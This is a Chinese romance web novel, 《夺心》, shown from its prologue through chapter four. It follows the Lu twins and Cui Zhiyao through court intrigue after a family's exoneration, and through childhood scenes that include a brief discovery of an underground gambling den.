《夺心》 1. 楔子 《夺心》全本免费阅读 呈和元年,春。 突如其来的一场大雨浇透了帝都,潮湿的春意胀满街巷。 整个正月,朝堂之上人人自危——陆家旧案重审,新帝雷霆手段,不过用了半月便替陆家翻了案,有心之人被一一清算,乾正殿里几乎重洗了一次牌。 不过新帝虽手腕强硬,此举却并不出人意料——陆家本就是新帝母家,当年陆家一案,还是太子的新帝也受了牵连。 一时之间,酒肆茶坊之中高谈阔论的,都离不了“陆家”二字。 ——陆家这接连三代,倒比那些说书的故事还精彩些。 京郊客栈,一须发皆白的老人捋了捋胡子,“这样轰动京城的大事儿,陆家也不是第一回出了。” 一旁的几个年轻小辈立马给斟上了热酒,“刘伯您见多识广,这眼下又没有外人,可得仔细说说。” 老人半眯着眼,“话还得从二十多年前说起。” “陆家一门多出良将,自开国之初便是大梁的肱股之臣。只是沙场上刀枪无眼,二十多年前,陆老将军战死沙场,只留下一子一女。” 他右手边一个穿青衫的小辈接过话去:“这些谁人不知,陆老将军的死讯传回时,太宗皇帝大恸,可罢朝了三日呢。” “紧接着便下了旨意,封陆家女为太子妃,又把那时的陆小将军从边关召回,封承恩侯,留居京城,还赐下了丹书铁券。” 紧接着,青衫男子神秘兮兮地环顾了一圈,压低了声儿:“说是皇恩浩荡,可陆家也就此交了兵权……” 后来便是太宗皇帝驾崩,太子即位,而陆家女也顺理成章地做了皇后,诞下嫡长子。 同伴怕他酒后失言,急忙打断了,接着问老人:“刘伯,那四年前又是怎么回事?” 青衫男子大概是真醉了,拍了桌子一把,震得烛火都在跳:“还能是怎么回事儿?当今圣上英明,不是都查明白了么?什么陆侯爷意图谋逆,都是有心之人的陷害!” “幸有丹书铁券免了死罪,可也还是逃不过抄家流放。陆皇后更是因此,才忧思过重薨了,还有当今圣上,圣上那时还是太子,却被软禁东宫,形同废黜。” “可怜陆家满门忠烈,就没有这样的天理!” 那人被同伴按了下去,忿忿不平地又开了一坛酒。 老人惬意地喝下一口热酒,才慢慢接过话:“那时候,所有人都以为太子落了下风,却没想到,太子是韬光养晦,一面在京城暗中布局,另一面,是将赌注压在了陆家二郎身上。” 听到陆家二郎,桌上的几个人纷纷来了兴致——如今这位的名声在京中,可真是如日中天。 去岁,皇帝自感时日无多,重新将几个皇子审视了一番,解了太子的禁足。到了腊月,皇帝的精神越发不好,竟已到了卧床不起的地步。 也就是那时,自边关传来的一则传言,如水滴入了滚油般,在京中炸开。 传言说,这两年在边关威震三军,用兵如神,能于万军之中取敌将首级的那位将军,深受朝廷重用,掌了边疆数万兵权,但其实是冒名参军。 那人其实姓陆名昭,字怀衡。 ——正是陆家二郎,那本该身在岭南的陆家罪臣,太子的表兄。 “是啊,”有人附和了一句,“那陆家二郎也不知是怎么从岭南跑去了边关的,说起来也真是耐得下心性,短短几年,能干出这样一番事业。” “不愧是陆家的血脉。” 老人喝干了一碗酒,继续道:“陆家二郎的消息一传回京,太子便接连动作,这两边一里一外,一出手便直击要害。等旁人反应过来的时候,大局早就落定了。” 岁末,皇帝驾崩,着太子即位。 “京城里的这番布局草蛇灰线,你们可知,是谁的手笔?” 老人将空碗一放,自有识眼力的给添满酒,“刘伯您就别卖关子了,这除了太子殿下当今圣上,还能是谁?” “非也。”老人摆了摆手,仰头灌下一整碗:“排下此局的,乃是当年那位陆世子啊。” 桌上安静了一霎。 有人猛地倒吸了一口凉气:“可是陆家大郎,陆衡?” 陆家这一辈统共就这么一对双生子,陆衡为长。 不知是谁先叹了口气,“要真是那位,这一切倒也不足为奇了。” 陆衡死在陆家那场事变中,死的时候,不过十八岁。 提前几年料定一切,排下这样一局大棋,若是换个人,这说法必然是不能服众的。 ——可那是陆衡,名冠天下的陆家大郎。八岁破外邦来使所设危局,十四岁一计拿下远在千里的边关城池,十六岁时查清让圣上头疼了好几年的逆党案,圣上赐下金玉令,允其对百官行监察之职,风光无限。 所谓天之骄子,不外如是。 几人感慨了一会儿,还想再细问,却见老人已经伏在了桌上,鼾声如雷。 * 呈和元年二月初,陆家冤案平反,新帝下旨恢复了陆家爵位的同时,对陆昭从流放地私逃去参军之事只用“功过相抵”四个字草草揭了过去,虽也是罚了,但又另封了定远将军,和侯爷一并召回京。 三月十五,陆家回京。 承恩侯府。 两个丫鬟扫着本就干干净净的院子,年纪稍小些的那个显然沉不住气,不住地踮脚往外望——听外头的说,主人家要先去宫中谢恩,所以府上大门还关着,就等着侯爷从宫中回来。 她们这几个都是新买来的丫鬟,年纪不大,这些日子缠着从前府上的老人问了许多,听来听去,反倒对主人家更好奇了。 月前圣上亲自吩咐下来,将承恩侯府好好整修一番,从前在府里伺候的,能找回来的也悉数找了回来。乍一看,这侯府比之多年前竟还要气派些。 可其中物是人非,又几人知晓。 小丫鬟刚干完手头的活儿,便听前院的嬷嬷喜极而泣:“回来了!侯爷和二公子回来了!” 她大着胆子找了个地方偷偷往前瞧——鞭炮齐响,一片热闹声中,随从卖力地将府门推开,为首一个四十多岁的男人迈步进来,虽一身气度不凡,犹可窥见几分年轻时的风华,可两鬓星星,也显出些疲色来。 跟在侯爷后面的青年身量颀长,腰间配了一柄长剑,一身气势竟将前头的侯爷都压去了几分,无端有些慑人。那人剑眉星目,大跨步进来扫视了一圈。 ——他目光太过凌厉,有那么一刹,小丫鬟都疑心自己已经被他瞧见了,当即吓得往后退了几大步,抚着心口喘气。 这样天神般的人物,怕不就是二公子了。 小丫鬟一时有些想不明白。今儿是侯府的大日子,可主人家却并不似她想象中那般前呼后拥,意气风发。 父子二人都沉默着,府上气氛连融洽都算不上。 陆昭跟着父亲穿过院子,走进了祠堂。 这一路所见,果然都同四年前没有分别。 稍一恍惚,便会以为过往四年皆是大梦一场。 “怀衡,”父亲沉沉叫了他一声,“过来上柱香。” 陆昭接过香敬奉列祖列宗前,而后动作利落地跪下磕了三个头。 他并非是从边关直接回京,而是先去了岭南。 因为他阿娘,葬在了岭南。如今他终于同父亲一起,将阿娘接了回来。 当年陆昭是在流放途中便金蝉脱壳,仓促赶去边关的。他身边的苍术忠心耿耿,毁了自己的脸,代替了他。这些陆侯和夫人自然都知道。 大事未成前,他连书信都不敢同岭南那边通一封。两边皆是生死不知,直到去年腊月,尘埃落定。 他得到的第一个消息,便是母亲的死讯——他娘,是在岭南因为病得太重没了的,刚去便倒下了,拖了半年还是走了。 病根早在母亲得知兄长死讯的那一刻便种下了。 岭南的气候本就不适宜养病,何况郎中说,夫人是心病难消,便是再多的药,也难起效。 他去到岭南的当天,便先寻去了母亲的坟前,在碑前跪了一夜。 第二日一早,陆侯才得了消息,匆匆赶过去。 远远望见他,陆侯声音都是颤着的,几步便到了他跟前,“怀衡,快起来,让爹好好看看你……” 陆昭敛了眉目,唤了一声:“父亲。” 其实他爹从前都是叫他“陆昭”的,连名带姓。也是他早些年混得厉害,常给他爹气得够呛。 但自有了表字开始,便唤怀衡了。 他的表字是爹取的,在他动身去边关的前一夜,算是提前备下——怀衡,承了他已故兄长的一个“衡”字。 祠堂里的香火气渐渐浓郁。 四年前那个雨夜,陆昭曾想过,如果进宫的人是他不是陆衡,如果死在那天的人是他,是不是会好些。 ——后来在沙场上出生入死得多了,就没心思再想这些了。 既然他还活着,那便是有用的。 时辰差不多了,侯府门前渐渐热闹起来,皆是些前来拜贺的勋贵。陆侯爷交代了陆昭几句,整了整精神,便去前厅接待来客。 陆昭随着去了前头,一眼便认出了崔家的马车。 只一刹,便觉心脏跳得发疼。 他已经有四年没见过她了。 方才还觉混沌的一千多个日夜,突然之间清晰得历历可数。 太过浓稠的思念,在临见面的这一刻,蜕变成让人几近窒息的期待。 ——可他等的人,却并未从车里下来。 陆昭第一反应是怕她出了什么事,可转念一想,窈窈是崔家独女,平日里就被当眼珠子似的疼着,若真是她有点什么病什么痛的,想必今日崔夫人也不会过来了。 于是便叫身边得力的随从去套了崔家下人的话,得回来的消息却让他险些失了态。 ——前些日子,崔家便有要为自家女儿选婿的意思,最受崔司徒和崔夫人青睐的,当属沈家的二郎。 此时此刻,崔知窈正同她这位未来夫婿的人选一起,在堤边赏柳。 陆昭叫人去跟他爹知会了一声,不等传话的人回来,转身便上了马,向京郊疾驰而去。 满山春色蓬勃,水流潺潺,鸟鸣花香。这时节上烟柳正好,何况京中本来就有春三月有情人相约踏青的说法。 有情人。 好一个有情人。 茫茫春野,陆昭一眼就看见了她。 曾经在心里描摹过千万遍的模样乍然鲜活在眼前,四年过去,她又长开了些,依旧美得惊心动魄。 他眼看着她对身旁的男子笑,那人望着她的脸,眼神空了一霎,紧接着便亮得惊人。 沈家二郎,沈确。 陆昭猛地拉住了缰绳,绳子在他手中被捏得咯吱作响。 他太熟悉那样的眼神了。 多少年,他看着崔知窈的时候,便是那样的眼神。 他们走的那条路有些崎岖,沈确先行了一步,回身朝她递过手去。 在她毫不犹豫地伸手,马上便要搭上沈确的手时,陆昭心口一滞,再等不下去,连名带姓地叫了一声:“崔知窈!” 知窈愣了一下,回头望向这边。 陆昭利落翻身下马,几步便跨到了她身前。 而后一把扣住她伸出去的那只手,倏地往后一拉——他小心收着气力,并不会拽疼了她。 只是手臂极其自然地圈在了她身前,像保护,也像占有——他并非有意,只是这样的动作对她做了太多回,潜移默化地融进了骨血里,成了习惯。 知窈似乎踉跄了一下,差点跌进他怀里,却还是站稳了。 扣在她手腕上的那只手没松,陆昭甚至直接忽略了另一人的存在,只低头看着她,嗓音稍稍带着些哑,仿佛呢喃过千万遍的一声:“窈窈。” 陆昭的身量比她高出许多,几乎要将她整个人笼在身下,姿态像极了拥抱,却除了那只攥着她手腕的手以外,没有其余任何触碰。连圈着她的手臂,也只是虚虚绕着她。 两人隔着不近不远的距离,陆昭手背青筋暴出,极力克制着拥抱她的冲动,语气却软着,低低问她:“我九死一生回来,你怎么不来看看我?” ——像是突然从最亲近之人那里受了委屈的孩童,在难过之前,最先拥有的情绪,是不知所措的茫然。 她却没抬头。 四年不见,她竟连抬头看他一眼都不肯。 只有面对她时才会有的,那种熟悉的无措感,顷刻间便蔓延了他四肢百骸。 前线的日子并不好过。 他是冒名参军,不能冒险动用陆家原先在军中的旧部,落人把柄。要想在最短的时间内扬名立万,乃至能够控制边关军队,就不能求稳,只能求赢。 一千多个日夜里,多少险境。濒死之际,人想不了太多,家族、仇怨悉数模糊,唯一清晰的,只有落狱那时,窈窈带给他的那句话。 无论如何,好好活着。 她要他活着。 那他就得活着回去见她。 哪怕身在绝境,他也有一万种法子,从尸山血海里爬出来,干干净净地去和她相见。 ——可若是她不想见他,他一点办法也没有。 陆昭不觉加重了语气,可与其说是命令,听起来却更像是某种祈求:“ 2. 第一章 《夺心》全本免费阅读 广平十八年。 这年春格外暖和些,到了二月底,连山中的花都开了,姹紫嫣红一片,好不热闹。 太华寺的千年古玉兰树下,穿着杏红短襦的少女跃跃欲试地看着开得正好的花枝,将袖子一挽,三两下爬了上去。 树下仰着头的小丫鬟年岁同她差不多大,吓得都有些结巴了:“姑娘!姑娘可别上去了,要是……” 少女话音清脆,“我刚都看过了,这儿一时半会没人过来,不会让人瞧见的,放心吧。” 丹朱急得在原地跳脚——这是会不会让人瞧见的问题么? 姑娘是什么身份,崔家的独女,长宁大长公主的孙女。 崔家累世功勋,长宁大长公主更是素有威望——大长公主是先帝的嫡亲姐姐,当今圣上年幼时遇险,是大长公主拼死护下,因此还跛了一条腿。 大长公主只得了崔司徒这么一个儿子,也就只有知窈这么一个孙女。当今圣上膝下没有公主,知窈性子活泼,小时候又常被大长公主带去宫里,很得圣上喜欢,几乎把她当自己半个女儿看,一应吃穿用度,便是圣上真有个公主,也不过如此。 以姑娘的身份,别说姑娘休憩的寮房附近根本不会放旁人靠近,就算真有香客误闯到了此处,不小心撞见了,也是不敢对外说半个字的——保不准还得昧着良心夸一句“英姿不凡”。 丹朱求救似地看向刚听见动静,从寮房出来的竹月——别的都不要紧,但姑娘怕是自己忘了,她惯来只会上树不会下树的!在府里便罢了,左不过她挨嬷嬷几句训,去搬一把梯子过来。可眼下要去哪里找梯子去? 万一姑娘不等梯子拿来便没了力气,摔下来怎么办? 竹月见状也是一懵,而后立马给她打了个手势,示意她先稳着姑娘,别惊着她,自己匆匆跑了出去。 知窈专心致志挑着花枝,压根没看见她们的小动作。 挑挑拣拣了许久,终于选到了一枝将开未开的,探手折了下来。 再低头的时候,却见一道熟悉身影,抱臂倚着树干,抬头看着她,一双桃花眼似笑非笑。 他身量高,宽肩窄腰,把一身雪青色的寻常衣袍硬是穿出了几分落拓不羁。 “陆昭?”叫了他一声,知窈才记起来刚刚跟他那一架吵到最后,她恨恨扔了一句不要再跟他说话了。 从那句话扔下到现在,不过也才半个时辰。 今日本是学堂休假——学究说春光正好,莫要辜负了时节,便给了大家一日的假,出门踏青。 可阿衡哥哥除了学业外,还要忙朝堂的事情,怕是没什么功夫赏春光的。所以她一早就去了阿衡哥哥的书房陪他。 结果没多久就被陆昭勾了出来——陆昭说太华寺那株千年古玉兰开了,眼下开得正好,再晚几天开得太盛,怕是就失了花形。 她最喜玉兰花,断没有不去看的道理。 本是开开心心出门的,哪知道上山这一路他说话夹枪带棒,她没听两句就听恼了,跟他不欢而散。 她坐在马车上,陆昭骑着马慢慢跟在一旁,她一时不想看见他,索性把车帘放了下来。 本以为陆昭就回去了的。 ——他也确实气得调转了方向。 没想到还是跟到了寺里。 她哼了一声,没什么好气:“你怎么在这儿?” “好,我走。”他装模作样地站直身子,“那你可就要自己下来了。” “我……”她卡了一下,想起自己不会下树的事儿,气势陡然弱下去:“那也用不着你管!” “竹月!丹朱!去找把梯子来!” 竹月看了看两人,有些难为:“姑娘,方才问过了,近处没有……”要去找一把再拿来,至少得一刻钟。好在路上碰到了陆二公子,她才把救兵搬过来。 知窈对上陆昭那双笑吟吟的眼睛,登时气不打一处来:“近处没有就去别处搬!我就不信,偌大一个太华寺,连把梯子都找不出?你和丹朱一起去找!” 姑娘既然这么说了,竹月自然没有再推的道理,只能拉着丹朱快步往外走。 好在临走前陆二公子朝她点了下头,她心中才稍定——有陆二公子在,是决计伤不到姑娘的。 这时节上,高处的风还是有些凉意的。知窈悄悄活动了一下冻凉了的脚腕,朝远处望了望——还没看见竹月她们回来的影子,怕是还要等好一会儿。 她没耐性等下去了。 她偷偷低头,飞快瞥了眼陆昭的位置,被他察觉,笑着问她:“想下来了?” “说句好听的,我抱你下来。” 她自然没吭声,先将好不容易折下的花枝搁在低一些的树杈上,而后装作脚滑了一下的样子,突然便朝他那儿摔下去——几乎顷刻间,陆昭肃了神色,蹬了树干一脚借力,腾空而起,抬臂接住她。 她往下跳得太猝不及防,哪怕是陆昭一时也接不稳,不得不一手护着她的后脑,抱住她往一旁一滚。滚了两圈才卸去力道,他把自己垫在她身下,不过这么一刹,便觉出了一身的汗。 刚刚那两圈天旋地转的,知窈缓了一会儿,才一手撑在他胸膛,支起身子来。 却只起到一半,手便倏地被他拉去攥住,她又跌在了他身上,只能就着这个姿势,自上而下看着他。 她往下这么一摔,两人便靠得有些过近了,她几乎能感受到他的呼吸。 他面无表情,眼神也稍有些发冷——好像真的生气了? 陆昭攥着她的手腕,话音里有掩不下去的怒气:“不要命了?” 他知道她仗着的就是他不可能看着她摔下来也不管。 也确实如此。 可凡事总有个万一。 他是身手不错,可她说也不说就往下跳,万一他失手了,没能接好她怎么办? 知窈立马呛 3. 第二章 《夺心》全本免费阅读 知窈没再看他,自己踮脚去够放在树杈上的那条花枝。 那树杈对她来说还是有些高了,任她怎么抻着胳膊,都差了一截。 ——但她其实也没多卖力,伸手的第一下就知道自己够不下来,后面那几下连装样子都装得敷衍,心里默默数着“三、二——” 没数完,便有一只手从她头顶探过去,将花枝拿下来。 如她所料。 陆昭低头看着她,嗓音带了点不易察觉的哑:“折它做什么?” 因着她喜欢,崔府是最不缺玉兰花树的。最好的一棵,就栽在她的院子里。 她费这么大劲从这儿折一枝带回去,必然不是要带回自己家的——那就只能是他家。而他人就在这儿。 那就只能,是带给陆衡的。 她伸手要来拿,陆昭一时却没松手,握在花枝上的手指修长,骨节分明,唯一的瑕疵便是手背上那圈未消的咬痕。 知窈索性不拿了,理都没理他,转身便往外走。 ——显然是还记恨着上山的时候吵那几句。 单是上山这一小段路,她念叨她的“阿衡哥哥”就念了不下十次。一会儿兴高采烈地问他:“陆昭陆昭,你看这个,阿衡哥哥会喜欢吧?” 一会儿又跟被霜打了一样,掰着手指头数:“阿衡哥哥已经有三天没去学堂了,今天也是,阳光这么好他也没空出门。陆昭,阿衡哥哥这回还要忙几天啊?” 就没一句离得了他。 陆昭手上缰绳紧了又松,终于在她又要开口的时候,没忍住呛了一句:“知道他忙,你还赖在他书房不走?” 知窈错愕了一霎。 刚刚只是正巧有只蝴蝶落在她马车的窗沿,是只蓝色带金闪粉的蝴蝶,花色很是稀奇漂亮,她没忍心捉,就想叫陆昭看一眼。 她还没开口叫他,就被劈头盖脸说了这么一句——更要命的是,蝴蝶飞走了。 “我怎么就是赖着不走了?”知窈气得攥住了车里的帘子,狠狠瞪了他一眼:“我就是喜欢待在书房,阿衡哥哥又没说什么。再说了,再忙不也得歇息一会儿?” 陆昭闲闲抬眼,“嗯,你说的歇息,就是帮你把功课写了?” 知窈一时竟被他堵得说不出话——晚些时候她确实是要去阿衡哥哥那里拿他替她抄好的书的。 她这一手字是陆衡从小手把手教的,本就跟他有几分相似,陆衡要仿她的字迹不难。 两年前她被哄着答应来学堂念书的时候就说好了的——她写字慢,若是有做不完的功课,就交给陆衡。 不然她那么讨厌那些晦涩难懂的书,想想心里就打怵,怎么会自己跑来找这个罪受。 但是陆衡也不会全帮她做完——每回学究留了功课,陆衡都会先替她筛拣好,看着她将该做的那部分做了。剩下的,就不用她再操心了。 她习惯有陆衡帮她处理那些折磨人的功课了,以至于虽知道陆衡眼下正忙,也没反应过来。 就这么冷不丁地被陆昭戳破,自然难堪。 两人又呛了几句,越吵越气,最后她赶陆昭走,陆昭也确实走了——但统共没走两步气就消了,又默默跟在了她马车后面。 人是他领出来的,自然得他看顾着。 丹朱和竹月正合力抬着一把梯子快步往方才的院子走,远远望见姑娘已经好端端地站在前面了,才忙将梯子放下,小跑着过来。 知窈也看见了她们两个,步子缓了缓。 就这一缓,便让人从身后追了上来,拽了下衣袖。 陆昭叹了口气,“还不想跟我说话?” 他绕到她面前,因着身量比她高出一截,俯下身才能直视着她眼睛:“那你刚刚说的那几句怎么算?” 知窈看了他一眼,伸出手。 陆昭前脚刚把那枝完好无损的玉兰花放进她手里,后脚人就转身走了。 还是一个字都不同他说。 她是惯来会一码归一码的。 该用他的时候还是得用,不用的时候吵架的面子也不能丢。 等再回承恩侯府,已是申时。 因着早晨来那一趟她已经去过陆家姨母那儿了,所以这时候就直接拐进了陆衡的书房。 书房的门开着半扇,紫檀木的书架前,陆衡一身月白织金长袍,身姿挺拔,眉目沉静,肃肃如松下风。外人第一次见他,总觉得他是介于温润和疏离之间,又说不清哪边更多些。 说起来,陆衡和陆昭二人,若是只论长相,确实是一模一样。 尤其在他们还小的时候,陆夫人总喜欢给两人穿一样的衣裳,混进人堆里,不说话不动作,许多人都分不清谁是谁——除了知窈。 从她牙牙学语那时候开始,她就从未认错过他们两个。 比起身形模样,她认他们的时候似乎更靠“感觉”。 知窈把竹月丹朱都留在了门外,比了个噤声的手势,自己蹑手蹑脚地悄悄进去。 她踮着脚走得小心,走了半天,终于离他只有一步远。这么久都没被发现,她刚得意地抬手要去拍他肩膀,一声“阿衡哥哥”不过刚开了个头——陆衡转过了身。 她手已经拍了过去,着急忙慌地往回收,却忘了自己还踮着脚,脚下也没站得多稳。 连带着整个人都往前晃了一下。 陆衡将她接了个满怀。 熟悉的松柏香气围拢过来,沉稳平静,是很让人安心的味道。 她本能地想像小时候一样在他怀里多赖一会儿,可突然想到了手上那枝玉兰花——好不容易带回来的,可不能就这么折坏了。 于是立马从他怀里起来,退开一步。 陆衡动作一顿,却只温和说了一句:“小心。” 她正四处找着什么,看着她雀跃背影,陆衡问她:“今天玩得开心么?” 知窈刚好拿来一只瓷瓶将花插上,闻言点了点头,“外面花都开了,漫山遍野,很漂亮。” “可阿衡哥哥抽不开身,不能陪我去看,那只好把我的春天分给你看了。” 她抱着瓷瓶塞进他手里,“再过些日子,花可就要谢了。” 陆衡接过花瓶摆在书案前,轻轻揉了她发顶一下:“明年的这个时候,一定陪你去赏花。” 知窈登时泄了气,抓着他的手,“不要。明年还有好远。再说了,万一你明年这时候又忙怎么办?” 他笑起来,“学聪明了。” “不过我什么时候骗过你,还是哪件答应了你的事没做到?” 知窈仔细回忆了一圈——好像确实没有。他是个很守约的人。 她想了想,勾住他小指,晃了两下:“那一言为定。” 陆衡“嗯”了一声,“一言为定。” 得了陆衡一个明确的承诺,她放了心,抽回手来,去翻他书案上堆叠的东西,“阿衡哥哥这次还要忙多久?很棘手么?” 陆衡在她身后,轻轻捻了一下她勾过的指间,“朱家的事,牵连有些广。” 知窈对这些朝堂上的事情兴致缺缺,即便陆衡从来不瞒她,她也听一耳朵便忘干净了。 只是朱家姐姐也在学堂,同她一起上课。朱家姐姐性子温婉,对她也多有照顾,听说还是未来太子妃的人选。 若是朱家有事…… 陆衡看出了她心里在想什么,“不是什么大事,不用担心。” 她向来信他 4. 第三章 《夺心》全本免费阅读 时辰不早了,她一早出门时还答应了阿娘早些回去陪她。 陆衡要送她回去,被她拦下来。 两家虽不远,但这一来一回,也得小半个时辰。她刚良心发现,说什么也不肯再让他花时间了,自己抱着那沓抄书的纸出去,一股脑交到竹月手里,又替他将书房的门合上。 再转身,就看见陆昭在对面的檐下,屈膝半坐在栏杆上,手上翻来覆去地扯着一片草叶子。 金乌斜沉,他在的那边,光线悉数被屋子遮挡去,只投下晦暗不明的剪影。 见她出来,陆昭朝这儿瞥了一眼,而后从栏杆上一跃下来。 竹月适时开口:“二公子来了有一会儿了,该是专程在等姑娘。” 等她做什么? 知窈看向竹月怀里抱着的那一沓纸——不会又是来说她打扰陆衡的吧? 可今日不是说过一回了么,也至于在书房外面等? 陆昭难不成是吃错药了,从前怎么不见他这么关心阿衡哥哥? 不管怎么说,得先保住她明天要交的功课。 她当机立断,推着竹月和丹朱往外走:“你们收好东西,先放去马车上。我一会儿就来。” 两边隔了一块空地,两个丫鬟刚走,陆昭已经几步跨过来,同她只隔一道栏杆。 知窈下意识地有些警觉,又还记着自己说了不同他说话的事儿,只一双水盈盈的眼睛盯着他看。 无端有些……戒备。 他想翻过栏杆去的动作硬生生止住,步子停在了栏杆前。 就这么对视了一会儿,陆昭败下阵来:“还生气?” “今天是我不好,别气了,”他拿出一包油纸打开,梅子的清香气瞬间抓走了知窈的目光,“就当是看在糖渍梅子的面子上。” 锦记的梅子,一闻她就闻得出。她最爱吃那家的蜜饯,尤其是糖渍梅子——但阿娘管得严,不许她多吃,说要坏牙齿。 他家的东西难买得很,每天的蜜饯就只有那么一点,卖完便没了。也不知道陆昭是怎么弄来的。 她的眼神几乎都要黏上来了,陆昭一时有些想笑,将油纸递给她。 知窈抬眼看了他一眼,毫不客气地将油纸抓过去,拈了一粒咬进嘴里。 清爽的酸甜感和着梅子独有的青涩,将这一日在马车上颠簸的疲惫一扫而空。 那边车夫已经准备好,丹朱看了眼天色,快步走回来:“姑娘!” 再耽搁一阵儿,回去怕要误了晚膳的时辰。 知窈将油纸一包,就朝丹朱那儿走。 ——还是一个字都没跟他说。 小没良心的。 陆昭看着她的背影——她的衣摆沾了点墨汁,是在陆衡书案上蹭上的。 想起方才撞见的那一幕,他眼底暗了暗。 他正走着神,突然听见熟悉的清脆嗓音响起:“张嘴。” 本该走远了的小姑娘不知道什么时候折返了回来,陆昭反应慢了半拍,刚张开嘴,一粒梅子已经被推进了唇齿间。 她没再耽误,径直又跑回去,裙摆层层叠叠荡开弧度——似乎就是专程折回来给他尝一个梅子的。 陆昭慢慢将梅子咬开。 啧,好酸。 回了崔府换过衣裳,刚好到了晚膳的点儿。 知窈将剩下的那半包梅子小心藏好了,才去了饭厅。崔司徒和夫人已经等着了,见她露头,崔夫人重重咳了一声。 “阿爹,阿娘。”见这架势,知窈飞快盘算了一下这几日都做了什么。思来想去,也就是今日学堂休假,她说了会早些回来,但还是一天没着家。 还好,不是什么大事。 “哎,”崔司徒忙不迭应了一声,“快坐下吃饭吧,今天厨房做了你最爱喝的鱼汤……” 崔夫人不动声色地掐了崔司徒一把,问知窈:“去哪儿了?” 她一五一十地答:“太华寺。” 又补了一句:“陆昭同我一起去的。” 说完又觉得自己补的这句有些多余。 她出去闯祸的时候,又哪回不是陆昭陪着? 听到只是去了太华寺,崔司徒显然松了口气,转了个话题:“你叫陆衡哥哥,那陆昭与他乃是同胎所生,怎么就总陆昭陆昭的叫?” 知窈胡乱点了点头,坐到自己位子上。 反正这话也不止提过一次,但她就是改不过口来——要她叫陆昭哥哥,还不如叫她哑了算了。 崔司徒也没再多说,舀了一碗鱼汤,还未来得及递给她,便叫自家夫人截了下来:“去太华寺做什么?爬树?” “家里的树是不够你爬了?” 知窈转回头,一记眼刀飞在后头站着的竹月和丹朱身上。 两个小丫鬟当即往后缩了缩。 “别怨她们,好在你没伤着,不然她们都得挨板子。” 知窈“哦”了一声,看向崔夫人,软着声儿:“阿娘,想喝鱼汤,凉了就不好喝了。” 崔夫人叹了口气,再板不住脸,“就记挂着这么点东西。”重新给她舀了一碗热的,放到她手边儿,还不忘嘱咐一句:“别烫着。” 崔夫人想了想还是气不过,抬手在她额头弹了一下,“你啊,明年可就及笄了,哪还能一直把你当孩子看?” “在家里如何便罢了,你在外头,多少还是要顾着些。毕竟是女儿家,要及笄了就不能再跟小时候一样,无法无天……” 知窈一手捂着额头,另只手给崔夫人夹了一筷子菜,“女儿知道了。” 崔司徒也跟着给自家夫人夹了一筷子菜,“那也是明年才及笄,还有一年呢,慢慢她也就明白了。” 知窈立马点点头。 旁的 5. 第四章 《夺心》全本免费阅读 天不过刚亮,陆昭的院子里便传来阵阵兵戈相接之声。 苍术眼前寒光一闪,下意识横剑回挡,却只觉虎口一震,手中长剑已经被挑落,远远掼在地上。 他抱拳单膝跪下:“公子的剑术又精进了,苍术自愧不如。” 陆昭收剑入鞘,一把将人拉起来,“得了,别卖乖了。” “你束手束脚,要是能赢,那怕是我废了。” 他方才使的那套剑法,是他爹教的,算是陆家在沙场上征战多年,唯一传下来的东西。他爹年少时,尚且还在边关待过几年,到他这儿,也只能遥想当年金戈铁马了。 苍术接住陆昭抛过来的剑,“公子怎么能跟我们这些粗人相比。再说当年若不是公子在地下赌场救了我,我还不知道埋在哪儿呢。哪怕只有万一的可能,也不敢伤了公子。” 他从前学的都是些以命搏命的东西,就为了求一线生机,连个像样的名字都没有,只有五号这么一个代称。是到了二公子身边,才学些正儿八经的拳脚功夫,被赐了名,也真正像个人样了。 侯爷面冷心热,当年准他留在二公子身边,就是看中了他是个能忠心护主的。 苍术不是承恩侯府的家生奴,是四年前陆昭在赌场救回来的。 最初是知窈不知从何处知道了还有专门做搏戏的地方,央着陆昭带她去瞧瞧。陆昭从来耐不住她磨,但他从前跟几个朋友确实去过几回,也知道那地方不适合带她去。 后来便打听到了京郊一家赌场,那赌场极尽奢华,做的是有钱人的生意,环境也比寻常赌坊好得多。 他便偷偷领了知窈去了。 两人出入皆是戴了遮挡面容的帷帽,陆陆续续去玩过几次,都相安无事。 可那赌场还有地下暗场。 暗场做的,是拿人当禽虫相斗的赌戏。 那时候陆昭也不过十三岁,还是看得出稚嫩的年纪,若非出手阔绰,本连这赌场都进不来,自然没人给他们暗场的牌子。 知窈先发觉场地下面另有玄机,两人偷偷跟着赌场的人,进了一条暗道——那人是来给底下暗牢里关着的“禽虫”送饭的。 两边皆是不见天日的牢房,只中间一条小道点了灯烛,陆昭拉着知窈就近躲在了一处没人的空牢房里。 整个空间弥漫着一股潮湿腐朽的臭气,知窈脸都白了,屏着气偷偷往外打量。 送饭的那个只把几个窝窝头往每个牢房门前一扔,便有窸窣的动静自暗处响起,带着血污的手从牢门底下的空隙里伸出来,将窝窝头抓回去,胡乱塞进嘴里。 他们的面容短暂被照亮——皆是十几岁的年龄,有的还更小一些,脸上不是肿着,就是一条条血印子,几乎没一处好皮。 也有的牢房久久没有动静,那人便不耐烦地踹两下,“死了?晦气。” 那几个窝窝头立马被两边的人伸长了胳膊瓜分了。 知窈哪见过这种阵仗,当即打了个寒颤,下一刻,干燥温热的手掌捂住她还未出口的尖叫,陆昭一只手便轻易将她抱起来,往后撤了几步,“嘘。” 那人往回走了几步。 察觉怀里的女孩在细微地发抖,陆昭将人抱得更紧了一些,压低了声音在她耳边:“窈窈听话,闭上眼睛。” 他的视线停在脚边一把满是脏污的,缺刃的匕首上。 好在那人最终停在他们前面一间牢房,将门打开进去了,听着声音,似是踹了地上的人几脚,疼得那人一声闷哼。 “五号,起来,死也别死在这儿,一个时辰后你上场。” 说完这句,那人就骂骂咧咧地往前一路走了。 知窈立马扯住陆昭的胳膊,还未说话,便听刚刚那间牢房有人虚弱开口:“要走就快走,趁着门还没锁,他不用一炷香就会回来。” 陆昭问了一句:“那你为何不走?” 知窈看了眼——那人牢房的门也没关。 “跑过的人都死了。” “不跑,你这一身伤,上场也是死。”他已经猜出了这是什么地方——他爹陆侯爷正在查地下赌场。 没想到京郊还有漏网之鱼。这里进出的非富即贵,一般官员来查,怕是也不敢把动静弄得太大。 若非他年纪尚小,不易惹人起疑,恐怕也没这么容易被放进来。 今日又恰好撞上他们开暗场——机会千载难逢。 那间牢房里的人不再说话了。 陆昭拿定了主意,在知窈面前蹲下。知窈会意,安静爬上去,被他稳稳背起来,快步朝外走去。 一直走到了外头,见到了太阳,她才缓过气来,抓着陆昭肩膀,“我们快些回去,告诉侯爷,或者告诉我爹……” 陆昭却将她放了下来,半蹲在她身前,整理了一下她的帷帽——为防麻烦,她出门作的男童打扮。 